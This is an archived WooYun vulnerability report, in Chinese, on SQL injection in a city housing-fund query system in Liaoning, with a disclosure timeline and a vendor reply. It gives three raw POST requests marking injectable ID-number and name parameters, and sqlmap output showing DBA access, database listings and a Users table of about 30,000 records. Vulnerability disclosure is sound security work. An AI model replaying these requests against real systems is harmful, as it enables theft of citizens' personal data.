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缺陷编号:wooyun-2015-0150512

漏洞标题:辽宁省某市公积金查询系统SQL注入打包/DBA权限/大量用户信息泄露

相关厂商:cncert国家互联网应急中心

漏洞作者: 路人甲

提交时间:2015-10-30 10:34

修复时间:2015-12-18 14:52

公开时间:2015-12-18 14:52

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2015-10-30: 细节已通知厂商并且等待厂商处理中
2015-11-03: 厂商已经确认,细节仅向厂商公开
2015-11-13: 细节向核心白帽子及相关领域专家公开
2015-11-23: 细节向普通白帽子公开
2015-12-03: 细节向实习白帽子公开
2015-12-18: 细节向公众公开

简要描述:

rt

详细说明:

辽宁省本溪市住房公积金查询系统SQL注入打包,接近三万条用户信息泄露
第一处:

POST /index.aspx HTTP/1.1
Content-Length: 546
Content-Type: application/x-www-form-urlencoded
Host: **.**.**.**
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
queryBtn=%e6%9f%a5%c2%a0%e8%af%a2&sfzh=*&zgxm=1&__EVENTVALIDATION=/wEdAAWFGPDFx%2biwix4ucGbJMWHBIzXvzffmx436DR9Xc/o2DCAwoBLQ1momdihx35Zu8uukYCTy/gpHrfKE6XIneSqJzfg78Z8BXhXifTCAVkevd1oD6Cgt5Loi59xANbE/5SdjIinmBJ6/Gb/2asYNCzXP&__VIEWSTATE=/wEPDwUJNTEyNTM3NTEyD2QWAgIBD2QWAgILDzwrABECARAWABYAFgAMFCsAAGQYAQUJR3JpZFZpZXcxD2dkV%2bGYGvRyPGH9AmcIqIy4VSMnZp9rZf9y2%2b7O6PVrz5Q%3d
参数sfzh 和 zgxm参数存在sql注入


第二处:

POST / HTTP/1.1
Content-Length: 546
Content-Type: application/x-www-form-urlencoded
Host: **.**.**.**
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
queryBtn=%e6%9f%a5%c2%a0%e8%af%a2&sfzh=*&zgxm=1&__EVENTVALIDATION=/wEdAAWFGPDFx%2biwix4ucGbJMWHBIzXvzffmx436DR9Xc/o2DCAwoBLQ1momdihx35Zu8uukYCTy/gpHrfKE6XIneSqJzfg78Z8BXhXifTCAVkevd1oD6Cgt5Loi59xANbE/5SdjIinmBJ6/Gb/2asYNCzXP&__VIEWSTATE=/wEPDwUJNTEyNTM3NTEyD2QWAgIBD2QWAgILDzwrABECARAWABYAFgAMFCsAAGQYAQUJR3JpZFZpZXcxD2dkV%2bGYGvRyPGH9AmcIqIy4VSMnZp9rZf9y2%2b7O6PVrz5Q%3d
参数sfzh 和 zgxm参数存在sql注入


第三处:

POST /register.aspx HTTP/1.1
Content-Length: 627
Content-Type: application/x-www-form-urlencoded
Host: **.**.**.**
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
registerBtn=%e6%b3%a8%c2%a0%c2%a0%c2%a0%c2%a0%e5%86%8c&pass=g00dPa%24%24w0rD&sfzh=*&zgxm=1&__EVENTVALIDATION=/wEdAAZRmGJVbl4%2bqQgcx%2bUO1OvOIzXvzffmx436DR9Xc/o2DN4Xcj%2byyOoBNCPOW5xUI%2bKkYCTy/gpHrfKE6XIneSqJRvgmDPsecjMqPv%2bQuIhFOz9YyyR4qjX0bKJ2X6bXV1M3D7YNVcJt1JmWHwjU3esh2SFgaZ0znnKZixmtnJT4fA%3d%3d&__VIEWSTATE=/wEPDwULLTEzNzQxMTAyNjcPZBYCAgEPZBYCAg0PPCsAEQIBEBYAFgAWAAwUKwAAZBgBBQlHcmlkVmlldzEPZ2T9QyhU4uvJFNN7Anm79hUb/wmiWUJCFsQI8LXnG1EzXQ%3d%3d
sfzh参数存在sql注入


22.jpg


漏洞证明:

web server operating system: Windows 8.1 or 2012 R2
web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 8.5
back-end DBMS: Microsoft SQL Server 2012
current user: 'sa'
current database: 'zfgjj'
current user is DBA: True
available databases [11]:
[*] bxip
[*] bxrc
[*] Changan_db
[*] master
[*] model
[*] msdb
[*] NDRC_DB
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
[*] zfgjj
Database: zfgjj
[12 tables]
+--------------+
| GJJ20150131 |
| GJJ20150228 |
| GJJ20150301 |
| GJJ20150331 |
| GJJ20150430 |
| GJJ20150531 |
| GJJ20150630 |
| GJJ20150731 |
| GJJ20150831 |
| Users |
| sqlmapoutput |
| test_1 |
+--------------+
Database: zfgjj
Table: Users
[2 columns]
+----------+---------+
| Column | Type |
+----------+---------+
| password | varchar |
| sfzh | varchar |
+----------+---------+
Database: zfgjj
Table: Users
[29988 entries]

22.jpg

修复方案:

参数过滤,参数化查询
求20rank

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2015-11-03 14:51

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发对应分中心,由其后续协调网站管理单位处置。

最新状态:

暂无